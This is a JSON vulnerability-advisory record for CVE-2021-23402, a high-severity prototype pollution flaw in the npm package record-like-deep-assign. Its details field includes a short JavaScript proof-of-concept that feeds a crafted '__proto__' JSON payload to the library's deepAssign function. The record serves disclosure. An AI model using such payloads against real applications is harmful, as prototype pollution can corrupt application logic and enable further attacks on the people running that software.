{"id":"CVE-2021-23402","aliases":[],"url":"https://o3.security/vulnerability/CVE-2021-23402","summary":"Prototype Pollution in record-like-deep-assign","details":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```","published":"2021-12-10T18:55:39Z","modified":"2026-03-13T22:11:29.714694Z","cvss":{"score":7.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"record-like-deep-assign","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23402"},{"type":"PACKAGE","url":"https://github.com/kripod/record-like-deep-assign"},{"type":"WEB","url":"https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-03-13T22:11:29.714694Z"}}